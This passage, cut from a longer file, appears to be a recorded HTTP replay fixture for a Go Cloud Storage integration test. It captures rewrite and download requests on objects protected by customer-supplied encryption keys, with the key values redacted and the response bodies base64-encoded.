pLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDAsIm1lc3NhZ2UiOiJUaGUgdGFyZ2V0IG9iamVjdCBpcyBlbmNyeXB0ZWQgYnkgYSBjdXN0b21lci1zdXBwbGllZCBlbmNyeXB0aW9uIGtleS4ifX0=" - } - }, - { - "ID": "670f74ac2a0b734e", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption/rewriteTo/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption-2?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "3" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ], - "X-Goog-Copy-Source-Encryption-Algorithm": [ - "AES256" - ], - "X-Goog-Copy-Source-Encryption-Key": [ - "CLEARED" - ], - "X-Goog-Copy-Source-Encryption-Key-Sha256": [ - "H+LmnXhRoeI6TMW5bsV6HyUk6pyGc2IMbqYbAXBcps0=" - ], - "X-Goog-Encryption-Algorithm": [ - "AES256" - ], - "X-Goog-Encryption-Key": [ - "CLEARED" - ], - "X-Goog-Encryption-Key-Sha256": [ - "FnBvfQ1dDsyS8kHD+aB6HHIglDoQ5Im7WYDm3XYTGrQ=" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "e30K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3640" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:38 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoWwxnT2DHS1ymBhZJmnwxQiajAVYbOH62dyhX86syLNW_TlPnzYaM_7kACpN8ar5EeAHQ9fsMSHP4CqMcb6ZWg5KY3OkbPvfitdLalAA9MXxMFqoo" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNyZXdyaXRlUmVzcG9uc2UiLCJ0b3RhbEJ5dGVzUmV3cml0dGVuIjoiMTEiLCJvYmplY3RTaXplIjoiMTEiLCJkb25lIjp0cnVlLCJyZXNvdXJjZSI6eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIvMTU1NjgzNTg3ODE4MzI1MSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24tMiIsIm5hbWUiOiJjdXN0b21lci1lbmNyeXB0aW9uLTIiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3ODE4MzI1MSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDozOC4xODJaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MzguMTgyWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjM4LjE4MloiLCJzaXplIjoiMTEiLCJtZDVIYXNoIjoieHdXTkZhMFZkWFBtbEF3cmxjQUpjZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24tMj9nZW5lcmF0aW9uPTE1NTY4MzU4NzgxODMyNTEmYWx0PW1lZGlhIiwiY29udGVudExhbmd1YWdlIjoiZW4iLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIvMTU1NjgzNTg3ODE4MzI1MS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jdXN0b21lci1lbmNyeXB0aW9uLTIvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImN1c3RvbWVyLWVuY3J5cHRpb24tMiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODc4MTgzMjUxIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNOUEMrTXZ4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIvMTU1NjgzNTg3ODE4MzI1MS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY3VzdG9tZXItZW5jcnlwdGlvbi0yL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY3VzdG9tZXItZW5jcnlwdGlvbi0yIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NzgxODMyNTEiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDTlBDK012eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY3VzdG9tZXItZW5jcnlwdGlvbi0yLzE1NTY4MzU4NzgxODMyNTEvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24tMi9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImN1c3RvbWVyLWVuY3J5cHRpb24tMiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODc4MTgzMjUxIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNOUEMrTXZ4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIvMTU1NjgzNTg3ODE4MzI1MS91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY3VzdG9tZXItZW5jcnlwdGlvbi0yL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY3VzdG9tZXItZW5jcnlwdGlvbi0yIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NzgxODMyNTEiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDTlBDK012eC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6InIwTkdyZz09IiwiZXRhZyI6IkNOUEMrTXZ4L2VFQ0VBRT0iLCJjdXN0b21lckVuY3J5cHRpb24iOnsiZW5jcnlwdGlvbkFsZ29yaXRobSI6IkFFUzI1NiIsImtleVNoYTI1NiI6IkZuQnZmUTFkRHN5UzhrSEQrYUI2SEhJZ2xEb1E1SW03V1lEbTNYWVRHclE9In19fQ==" - } - }, - { - "ID": "9c6e7ad2d8e2c68a", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/customer-encryption-2", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "277" - ], - "Content-Type": [ - "application/xml; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:38 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:38 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoSrQtDkljyQ-aUJoC8m6nY20wZiHLTwh4znEZ5hyKxLQUrZIi7PnU416twfTwfPXWvd4cPGZC3NVdpJWg332KnUKSEdFPY2BQwLJ-_9S5eVdwMrf8" - ] - }, - "Body": "PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48RXJyb3I+PENvZGU+UmVzb3VyY2VJc0VuY3J5cHRlZFdpdGhDdXN0b21lckVuY3J5cHRpb25LZXk8L0NvZGU+PE1lc3NhZ2U+VGhlIHJlc291cmNlIGlzIGVuY3J5cHRlZCB3aXRoIGEgY3VzdG9tZXIgZW5jcnlwdGlvbiBrZXkuPC9NZXNzYWdlPjxEZXRhaWxzPlRoZSByZXF1ZXN0ZWQgb2JqZWN0IGlzIGVuY3J5cHRlZCBieSBhIGN1c3RvbWVyLXN1cHBsaWVkIGVuY3J5cHRpb24ga2V5LjwvRGV0YWlscz48L0Vycm9yPg==" - } - }, - { - "ID": "b5fbec9f26148f95", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/customer-encryption-2", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ], - "X-Goog-Encryption-Algorithm": [ - "AES256" - ], - "X-Goog-Encryption-Key": [ - "CLEARED" - ], - "X-Goog-Encryption-Key-Sha256": [ - "FnBvfQ1dDsyS8kHD+aB6HHIglDoQ5Im7WYDm3XYTGrQ=" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Language": [ - "en" - ], - "Content-Length": [ - "11" - ], - "Content-Type": [ - "text/plain; charset=utf-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:38 GMT" - ], - "Etag": [ - "\"-CNPC+Mvx/eECEAE=\"" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:38 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Encryption-Algorithm": [ - "AES256" - ], - "X-Goog-Encryption-Key-Sha256": [ - "FnBvfQ1dDsyS8kHD+aB6HHIglDoQ5Im7WYDm3XYTGrQ=" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:38 GMT" - ], - "X-Goog-Generation": [ - "1556835878183251" - ], - "X-Goog-Hash": [ - "crc32c=r0NGrg==", - "md5=xwWNFa0VdXPmlAwrlcAJcg==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "11" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpTr8Qws5nL-el_ied6M7FYtryiLpFfhGNN-TxakIl1FCAOBJwMeq6_KBQ0l4UmT8VePQQ9h_S8r55NolBB1Ex12-iKvooCkTsNmvQ4rE4hOqQGbLc" - ] - }, - "Body": "dG9wIHNlY3JldC4=" - } - }, - { - "ID": "616de25561ebbffa", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption-2/rewriteTo/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption-2?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "3" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ], - "X-Goog-Copy-Source-Encryption-Algorithm": [ - "AES256" - ], - "X-Goog-Copy-Source-Encryption-Key": [ - "CLEARED" - ], - "X-Goog-Copy-Source-Encryption-Key-Sha256": [ - "FnBvfQ1dDsyS8kHD+aB6HHIglDoQ5Im7WYDm3XYTGrQ=" - ], - "X-Goog-Encryption-Algorithm": [ - "AES256" - ], - "X-Goog-Encryption-Key": [ - "CLEARED" - ], - "X-Goog-Encryption-Key-Sha256": [ - "H+LmnXhRoeI6TMW5bsV6HyUk6pyGc2IMbqYbAXBcps0=" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "e30K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3640" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:39 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqyD8XYw6tgOBbcxdUIVAw_vXrrryw0bgh-L-jRW0hyJt0lCHU9K26isn6tykgml7UgX52dgw65xD_ht4yxbHkY_VFl6MkEY6H-mWRx0_52xj49RW8" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNyZXdyaXRlUmVzcG9uc2UiLCJ0b3RhbEJ5dGVzUmV3cml0dGVuIjoiMTEiLCJvYmplY3RTaXplIjoiMTEiLCJkb25lIjp0cnVlLCJyZXNvdXJjZSI6eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIvMTU1NjgzNTg3ODk5ODUxMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24tMiIsIm5hbWUiOiJjdXN0b21lci1lbmNyeXB0aW9uLTIiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3ODk5ODUxMSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDozOC45OThaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MzguOTk4WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjM4Ljk5OFoiLCJzaXplIjoiMTEiLCJtZDVIYXNoIjoieHdXTkZhMFZkWFBtbEF3cmxjQUpjZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24tMj9nZW5lcmF0aW9uPTE1NTY4MzU4Nzg5OTg1MTEmYWx0PW1lZGlhIiwiY29udGVudExhbmd1YWdlIjoiZW4iLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIvMTU1NjgzNTg3ODk5ODUxMS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jdXN0b21lci1lbmNyeXB0aW9uLTIvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImN1c3RvbWVyLWVuY3J5cHRpb24tMiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODc4OTk4NTExIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNPK2pxc3p4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIvMTU1NjgzNTg3ODk5ODUxMS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY3VzdG9tZXItZW5jcnlwdGlvbi0yL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY3VzdG9tZXItZW5jcnlwdGlvbi0yIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4Nzg5OTg1MTEiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDTytqcXN6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY3VzdG9tZXItZW5jcnlwdGlvbi0yLzE1NTY4MzU4Nzg5OTg1MTEvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24tMi9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImN1c3RvbWVyLWVuY3J5cHRpb24tMiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODc4OTk4NTExIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNPK2pxc3p4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIvMTU1NjgzNTg3ODk5ODUxMS91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY3VzdG9tZXItZW5jcnlwdGlvbi0yL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY3VzdG9tZXItZW5jcnlwdGlvbi0yIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4Nzg5OTg1MTEiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDTytqcXN6eC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bn